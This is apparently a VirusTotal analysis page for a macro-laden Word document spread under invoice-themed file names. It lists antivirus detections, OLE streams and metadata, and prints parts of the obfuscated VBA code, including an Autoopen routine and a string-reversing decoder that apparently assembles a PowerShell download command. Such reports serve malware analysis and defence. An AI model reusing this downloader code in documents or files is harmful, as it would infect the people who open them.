Antivirus scan for e39be590fb6dfa04ae6d6720588694aea026cb4d6d68f60b56d3bcea85f13455 at 2018-05-08 17:53:56 UTC

Antivirus	Result	Update
Ad-Aware	VB:Trojan.Downloader.JUGQ	20180508
AegisLab	Mo97.Downloader.Qv!c	20180508
Arcabit	HEUR.VBA.Trojan.e	20180508
Avast	MO97:Downloader-QV [Trj]	20180508
AVG	MO97:Downloader-QV [Trj]	20180508
AVware	LooksLike.Macro.Malware.k (v)	20180428
Baidu	VBA.Trojan-Downloader.Agent.cus	20180508
BitDefender	VB:Trojan.Downloader.JUGQ	20180508
Emsisoft	VB:Trojan.Downloader.JUGQ (B)	20180508
F-Secure	VB:Trojan.Downloader.JUGQ	20180508
Fortinet	VBA/Agent.IBF!tr.dldr	20180508
GData	VB:Trojan.Downloader.JUGQ	20180508
Ikarus	Win32.Outbreak	20180508
MAX	malware (ai score=95)	20180508
McAfee	RDN/Generic Downloader.x	20180508
Microsoft	TrojanDownloader:O97M/Dornoe.A!ams	20180508
eScan	VB:Trojan.Downloader.JUGQ	20180508
NANO-Antivirus	Trojan.Ole2.Vbs-heuristic.druvzi	20180508
nProtect	Suspicious/W97M.Obfus.Gen	20180508
Qihoo-360	virus.office.qexvmc.1075	20180508
Rising	Trojan.Confusion!1.AD86 (CLASSIC)	20180508
Symantec	W97M.Downloader	20180508
VIPRE	LooksLike.Macro.Malware.k (v)	20180508
ZoneAlarm by Check Point	UDS:DangerousObject.Multi.Generic	20180508
Zoner	Probably W97Obfuscated	20180507
AhnLab-V3		20180508
Alibaba		20180508
ALYac		20180508
Antiy-AVL		20180508
Avast-Mobile		20180508
Avira (no cloud)		20180508
Babable		20180406
Bkav		20180508
CAT-QuickHeal		20180508
ClamAV		20180508
CMC		20180508
Comodo		20180508
CrowdStrike Falcon (ML)		20180418
Cybereason		None
Cylance		20180508
Cyren		20180508
DrWeb		20180508
eGambit		20180508
Endgame		20180507
ESET-NOD32		20180508
F-Prot		20180508
Sophos ML		20180503
Jiangmin		20180508
K7AntiVirus		20180508
K7GW		20180508
Kaspersky		20180508
Kingsoft		20180508
Malwarebytes		20180508
McAfee-GW-Edition		20180508
Palo Alto Networks (Known Signatures)		20180508
Panda		20180508
SentinelOne (Static ML)		20180225
Sophos AV		20180508
SUPERAntiSpyware		20180508
Symantec Mobile Insight		20180505
Tencent		20180508
TheHacker		20180504
TotalDefense		20180508
TrendMicro		20180508
TrendMicro-HouseCall		20180508
Trustlook		20180508
VBA32		20180508
ViRobot		20180508
Webroot		20180508
Yandex		20180508
Zillya		20180508

The file being studied follows the Compound Document File format! More specifically, it is a MS Word Document file.

Commonly abused properties

The studied file makes use of macros, a macro is a series of commands and instructions that you group together as a single command to accomplish a task automatically. Macros are often abused to perform malicious tasks when working with a document.

May try to run other files, shell commands or applications.

Seems to contain deobfuscation code.

Summary

creation_datetime

2018-05-08 06:44:00

author

Kyseri12711

title

Kyse22890

page_count

last_saved

2018-05-08 06:44:00

revision_number

application_name

Microsoft Office Word

character_count

template

Normal.dotm

code_page

Latin I

subject

Kyserisi93563

Document summary

OLE Streams

[+] Root Entry

[+] \x01CompObj

[+] \x05DocumentSummaryInformation

[+] \x05SummaryInformation

[+] Macros/VBA/JjCjXXX

[+] Macros/VBA/MnuYnJsLlDww

[+] Macros/VBA/NDsuzWaZa

[+] Macros/VBA/PNJuQYtQYpMTa

[+] Macros/VBA/PzJblGKSmwtb

[+] Macros/VBA/_VBA_PROJECT

[+] Macros/VBA/__SRP_0

[+] Macros/VBA/__SRP_1

[+] Macros/VBA/__SRP_2

[+] Macros/VBA/__SRP_3

[+] Macros/VBA/dir

[+] WordDocument

Macros and VBA code streams

[+] NDsuzWaZa.cls Macros/VBA/NDsuzWaZa 1994 bytes

Sub DYYiJZ(piYiAQ)
Dim UEsmr, sTaFN
KrOPZq = 62383 = AhFZFi
DjiGtA = MvEKn - CStr(54024) + kzTRUP - Tan(93955) - 52799 / 28466 / (98266 - CBool(75943) * 37675 / UnzTjM)
End Sub
Sub omvzU(AfTLPD)
Dim tQjlH, PBbRfS
PpYwl = 56812 = MwzCTz
ORIDjk = rDDNL - CStr(91847) + NMUPju - Tan(46543) - 21317 / 12266 / (44263 - CBool(50423) * 72733 / rwShSK)
Dim BkTOw, KYlViZ
fwkdmm = 5061 = DLldz
XulWu = qudtF - CStr(37973) + kzZloA - Tan(7775) - 91991 / 86511 / (24335 - CBool(79075) * 90557 / HzzZil)
Dim YmiAwn, rkVqX
oSIdZ = 94795 = tNihwb
ttwEL = VZzVZ - CStr(73931) + cNLXV - Tan(33649) - 54953 / 83187 / (80229 - CBool(78687) * 38193 / kIELIw)
End Sub
Sub XYfzn(fCwOU)
Dim EnzzjC, MiwYD
dFaMR = 27167 = ZUPbzP
GqOfd = COLnI - CStr(45140) + BkZYz - Tan(52881) - 86258 / 20749 / (22819 - CBool(9874) * 82225 / AfNkYV)
Dim RiAVP, viCOt
DtEnpu = 81711 = WWMulX
dpoinS = GiBOJ - CStr(10334) + tqwSS - Tan(75950) - 73286 / 91254 / (83502 - CBool(45650) * 79621 / tjuSFk)
End Sub
Sub Autoopen()
On Error Resume Next
Dim TSsNjG, wnZma
lXcjPc = 36289 = NhwRpF
aLMwi = lmAcN - CStr(24072) + qwVFwE - Tan(93855) - 41218 / 6342 / (27723 - CBool(5421) * 55488 / HFktw)
zjZRRdmXpJPfP (AuWcNq + qRjksBD + SzlcDC)
Dim UtPMt, kIDXz
TNKjB = 13245 = TLDUWH
Alzjb = ANwNq - CStr(46969) + bJrqz - Tan(59912) - 9151 / 43546 / (67693 - CBool(16055) * 36649 / VWjDQZ)
End Sub
Sub EiUwLT(mIGQwp)
Dim GEKTMU, CsRdiA
oRJjo = 95884 = WHKjW
tvQSL = GOSZjD - CStr(8530) + BmDVj - Tan(38313) - 80864 / 96079 / (83639 - CBool(94760) * 70185 / rJkwz)
Dim qRwGcw, AtrVs
ckwRj = 9230 = ACNvES
DlziVZ = NnDvJE - CStr(7445) + azczYI - Tan(45665) - 91077 / 83894 / (846 - CBool(84542) * 21068 / nDCCJQ)
Dim PwMAT, OzsWaA
VcOSFu = 49831 = qFddOK
jAsAoq = imcjv - CStr(87887) + CUaraR - Tan(21116) - 79657 / 69201 / (94385 - CBool(27502) * 81399 / YqiWER)
End Sub
Sub NsdZLu(zbqZw)
Dim FnkDlo, PtQvmw
rnDFb = 58040 = MKrAf
MNNtYP = ckFik - CStr(31553) + YUbim - Tan(26556) - 73375 / 24539 / (19048 - CBool(46517) * 71491 / UasdtC)
End Sub

[+] JjCjXXX.bas Macros/VBA/JjCjXXX 7373 bytes

Sub jHiYUL(jsiIN)
Dim tzDpI, ujjHMc
HsWnEK = 30526 = FFbzQ
PuAuko = PjzrPz - CStr(54985) + zAVwq - Tan(7197) - 25797 / 19486 / (9555 - CBool(59403) * 97202 / snubpr)
End Sub
Function qRjksBD()
On Error Resume Next
Dim fpjMbn, rLXwoN
VIEFCZ = 66859 = jvPmq
clXBXJ = POnuIz - CStr(23838) + mIqlK - Tan(43941) - 60271 / 80065 / (41887 - CBool(75018) * 34538 / dFowp)
Dim zKRiM, cVwpWC
JzzXUz = 68149 = mKtha
oDcqJl = RKHDJ - CStr(83960) + zoqwtk - Tan(81286) - 72565 / 98672 / (74967 - CBool(24733) * 94538 / wLzXw)
RPjAhcZHGk = bViEYu("hr6eR.)93]rAHC[]GNIRTS[,)021]rAHC[+67]rAHC[+88]rAHC[((eCALPeR.)63]rAHC[]GNIRTS[,'zcu'(eCALPeR.)'\','vkI'(eCALPeR.)43]rAHC[]GNIROd0w", 43614 - 43614 + 5 + 43614 - 43614, 43614 - 43614 + 124 + 43614 - 43614)
Dim LnRUzM, HsmpU
ItLzT = 93828 = qoDEpd
TUGKk = XfCfU - CStr(83419) + ccwwKS - Tan(3420) - 78945 / 47646 / (75874 - CBool(27430) * 61786 / HvXkNf)
Dim NLNZG, uDuclz
bHijSX = 16464 = CsItww
PJBwis = RojnYB - CStr(20232) + rnQGf - Tan(39878) - 4067 / 79088 / (24481 - CBool(20752) * 62936 / KSEjH)
DHIJqLXJR = bViEYu("tk'n'+'xLX('+'. = '+'UYY'+'zcu;m'+'od'+'na'+'r )xLXtxL'+'X'+'+xLXcejbo-wxLX+xLXexL'+'X+1pFi", 42049 - 42049 + 5 + 42049 - 42049, 42049 - 42049 + 85 + 42049 - 42049)
Dim IokanT, vqpDiz
hlBUc = 84500 = RNUon
TVwjzf = tWhQAw - CStr(34711) + dMmiLZ - Tan(84152) - 49608 / 31820 / (68190 - CBool(7565) * 30589 / rbPmz)
Dim WULuZD, XZDwVj
ccChcA = 51737 = kzRjY
SMJDfh = DnzDG - CStr(39091) + ITPuDJ - Tan(83484) - 56470 / 50828 / (78332 - CBool(47016) * 89823 / WkLdq)
DkSEC = bViEYu("V9j0cTS[,)08]rAHC[+76]rAH", 42544 - 42544 + 2 + 42544 - 42544, 42544 - 42544 + 19 + 42544 - 42544)
Dim qFNttq, pZoDd
fqrRk = 43622 = PDpmUf
JmTbWM = iivZWE - CStr(2574) + SoXLC - Tan(28349) - 65260 / 58454 / (35423 - CBool(52137) * 12842 / QmQaZ)
Dim ZOVIF, anaVq
zJkYOr = 45053 = PXjXC
IiIUK = cqlBPb - CStr(23644) + iYqst - Tan(38172) - 96083 / 31769 / (14538 - CBool(62619) * 10010 / GRJBiw)
JzahYGL = bViEYu("0E'+'/'+'/:'+'p'+'tth'+'@/D'+'o1Jh'+'56/moc'+'.'+' [... continues ...]

[+] MnuYnJsLlDww.bas Macros/VBA/MnuYnJsLlDww 19032 bytes

Sub tLDktRfjzzwiq()
On Error Resume Next
Dim oTZshU, DSZVs
YjQic = 65523 = ktaLhT
ESurw = vzVTh - CStr(76362) + VhtOY - Tan(62473) - 48405 / 71819 / (23281 - CBool(89813) * 12239 / OLJvsO)
End Sub
Function wGRTzNvbiDja()
On Error Resume Next
Dim OSMlY, XiSaLz
oIPDAL = 74474 = uQsYo
jwmCc = WZHJw - CStr(40883) + BzHKAz - Tan(18080) - 75751 / 12219 / (92866 - CBool(11950) * 90985 / bKTBTN)
Dim dzVuI, wzBID
ENVDGz = 18124 = ZInvpK
hPkiUN = sFDCUz - CStr(42050) + rRbsVX - Tan(11597) - 24458 / 6209 / (46574 - CBool(49997) * 97563 / VKZEwq)
ulZORfPNms = bViEYu("QdSt.61NJqMjmczJ", 86010 - 86010 + 2 + 86010 - 86010, 86010 - 86010 + 8 + 86010 - 86010)
Dim hRZjT, VQADd
RhQWU = 95482 = IbChKu
NWvdz = HFKar - CStr(83821) + ICpMz - Tan(89795) - 27071 / 64112 / (92213 - CBool(10014) * 75973 / GJhof)
Dim DRzoc, LtCzw
jzPqo = 52083 = zbWHtd
ibjQDB = EXkpNX - CStr(75523) + ofNAG - Tan(23944) - 60038 / 59522 / (3839 - CBool(20796) * 56093 / HwjJGK)
lOqTM = bViEYu("K4.HMJ%mSIRFSdqAB%!!%uwnCC", 69212 - 69212 + 2 + 69212 - 69212, 69212 - 69212 + 19 + 69212 - 69212)
Dim rkMmwv, fbiAbD
lnrus = 44830 = zwiFaS
IqbiC = vabsRF - CStr(52844) + DABjZd - Tan(41084) - 16074 / 80275 / (29186 - CBool(26687) * 75978 / roijV)
Dim uUqEJ, uXQIun
boLnj = 10767 = BPPmcE
POZQt = AZTRS - CStr(52940) + Cmawd - Tan(61079) - 73066 / 12100 / (44736 - CBool(34346) * 96876 / tHJfFE)
jziVHlDcoB = bViEYu("mnTwmtvurbZsqAb% tes&Ai", 55612 - 55612 + 3 + 55612 - 55612, 55612 - 55612 + 15 + 55612 - 55612)
Dim EVfIrr, czBUu
FokOp = 35476 = wSwrw
SzDruO = rXvWd - CStr(67477) + bDmED - Tan(45558) - 55988 / 85567 / (9917 - CBool(44745) * 89727 / mvilXn)
Dim zQhWmT, Dbjuj
BhSnRs = 39927 = hNsiqw
GWBjIE = iZUZj - CStr(49638) + qQZvo - Tan(73214) - 99777 / 78528 / (52753 - CBool(72367) * 8426 / IRDps)
AdisXc = bViEYu("dJlSQfrzHT% tesdrdL", 22879 - 22879 + 5 + 22879 - 22879, 22879 - 22879 + 13 + 22879 - 22879)
Dim XLzEiN, aiztSs
uOqwS = 68608 = KrRvQ
lvBfjc = MOOlmM - CStr(37645) + EAvJt - Tan(91715) - 52388 / 87448 / (51527 - [... continues ...]

[+] PNJuQYtQYpMTa.bas Macros/VBA/PNJuQYtQYpMTa 1078 bytes

obfuscated run-file

[+] PzJblGKSmwtb.bas Macros/VBA/PzJblGKSmwtb 7826 bytes

obfuscated

Function SlcdrT(WNKdAj)
Dim PEPrvj, zhHiP
oXlnw = 73560 = vlWJjl
PCpjbB = uNWEw - CStr(83726) + TDVvcv - Tan(94368) - 96890 / 54268 / (44672 - CBool(62897) * 27424 / liiGIK)
Dim tzsaHN, uJOiwu
chAOH = 79475 = RaRzNL
QfQwnB = VLunOw - CStr(5259) + NoiTnI - Tan(94532) - 64024 / 83983 / (886 - CBool(40470) * 86604 / XaatCM)
Dim dwmKsH, VGats
cMdRtX = 58058 = wYvSI
wlTuL = YKOCXa - CStr(61067) + baRHc - Tan(98169) - 834 / 19944 / (93853 - CBool(17673) * 675 / iLfaqs)
Dim oIkmjh, VRzau
scrXH = 78574 = JSooKt
BNfoMf = rtrokZ - CStr(37392) + iMVPhm - Tan(10717) - 37928 / 15070 / (36036 - CBool(2608) * 3341 / WTvcmB)
End Function
Function ImIOO(BjAjWP)
Dim jjbSv, uwtXW
dPVZv = 23257 = YMVvDH
ElWTY = liumsc - CStr(63301) + HKOPmD - Tan(70796) - 24221 / 61552 / (19731 - CBool(7812) * 44618 / rKKoY)
Dim uHIaZ, aZwVih
fXRBH = 61488 = DPsFL
BXuUj = UQmSwk - CStr(77834) + Milqz - Tan(56095) - 70451 / 84663 / (2629 - CBool(51036) * 16451 / IGIiP)
Dim OKzCi, llMCsE
RSPEY = 57584 = IiiJW
LjpNI = DvWiT - CStr(19329) + HFLQiz - Tan(94103) - 15329 / 82926 / (70937 - CBool(87206) * 5010 / AOuffo)
Dim LSFvzu, AXvovu
WvwSw = 19698 = LUvvK
GpAqw = doozPQ - CStr(76804) + wkvwz - Tan(15955) - 21663 / 58174 / (34988 - CBool(96544) * 25527 / dHzwKA)
End Function
Function bViEYu(ByVal bAqsZbruv As String, THzrfQSlil, BAqdSFRISm)
On Error Resume Next
Dim VfLWEp, Qkiwj
IwcbY = 98150 = CNcXCd
BVpqp = bSikN - CStr(82243) + hrbvV - Tan(33844) - 21621 / 49120 / (63583 - CBool(58816) * 47189 / LBmID)
XzcmjMqJNGK = UbZOvurGQaqO + Mid(NisQKmjBkRqUr + StrReverse(bAqsZbruv) + RiOoJfwt, hSwjEPA + THzrfQSlil + iSmLrSlcWWmj, BAqdSFRISm) + iuDiab
Dim mjjvT, LzOFc
jhHBFF = 50003 = cMnIJ
EwYsB = nwzCjq - CStr(84952) + HnNQu - Tan(1824) - 99383 / 55060 / (52185 - CBool(84917) * 97701 / APZat)
bViEYu = mJONZWEwwl + XzcmjMqJNGK + FSOMCEpwWNI
Dim cWjtc, XYXIID
JtOrMv = 4341 = tVZkM
LkbWNd = mqscbW - CStr(52540) + MwKKd - Tan(86434) - 21442 / 52346 / (13954 - CBool(20126) * 34120 / wjBHJ)
Dim dMovm, ZkWDVP
ZaAjYO =  [... continues ...]

ExifTool file metadata

PCAP parents

This file was seen in the network flow recorded by the following PCAP files.

d6c777e6fadb7d79042b7d0bc572ce43af344962848dca4ed5556f354d0f4b23

File identification

MD5 4802c71207f072c96eeb048bade1d59d

SHA1 51d066a2374e4910ccd6bb4b87ae8612b7072d8c

SHA256 e39be590fb6dfa04ae6d6720588694aea026cb4d6d68f60b56d3bcea85f13455

ssdeep

1536:xX4TGgTVBNlZx+ahCQ79FFXYPF8Srp36h47NepxyYlTb8RpCYhrv52GwLWYXPrH:Z4zTVL/N7NXYd80Z07yYlH+vbiWAPrH

File size 165.0 KB ( 168960 bytes )

File type MS Word Document

Magic literal

CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Kyse22890, Subject: Kyserisi93563, Author: Kyseri12711, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon May 07 14:44:00 2018, Last Saved Time/Date: Mon May 07 14:44:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0

TrID	Microsoft Word document (54.2%) Microsoft Word document (old ver.) (32.2%) Generic OLE2 / Multistream Compound File (13.5%)

VirusTotal metadata

First submission 2018-05-08 13:52:26 UTC ( 9 months, 2 weeks ago )

Last submission 2018-05-28 17:27:17 UTC ( 9 months ago )

File names

Summit Companies Invoice #47439118.doc
049-74-492122-795 & 049-74-492122-695.doc
Invoices attached.doc
output.113274465.txt
Inv 889307 - PO #3B928043.doc
Invoice #1495515.doc
Invoice for you.doc
Scan.doc
Summit Companies Invoice #11661802.doc
Invoice.doc
Summit Companies Invoice #0417600.doc
Important Please Read.doc
981-77-480113-894 & 981-77-480113-433.doc
New order.doc
1 Past Due Invoices.doc
Inv 63562 - PO #0L445528.doc
Summit Companies Invoice #2170235.doc
Summit Companies Invoice #88271077.doc
Service Report (69843).doc
Invoice #37070712.doc
Invoice Number 66636.doc
Invoice Number 42811.doc
2018.doc
Invoice #3007999.doc
749-96-209950-139 & 749-96-209950-013.doc

SHA256:	e39be590fb6dfa04ae6d6720588694aea026cb4d6d68f60b56d3bcea85f13455
File name:	Invoice.doc
Detection ratio:	25 / 60
Analysis date:	2018-05-08 17:53:56 UTC ( 9 months, 2 weeks ago ) View latest

Ciphered bundle

Commonly abused properties

Summary

Document summary

OLE Streams

Macros and VBA code streams

ExifTool file metadata

PCAP parents

File identification

VirusTotal metadata

Leave your comment...

Recover your password

Join VirusTotal Community

Sign in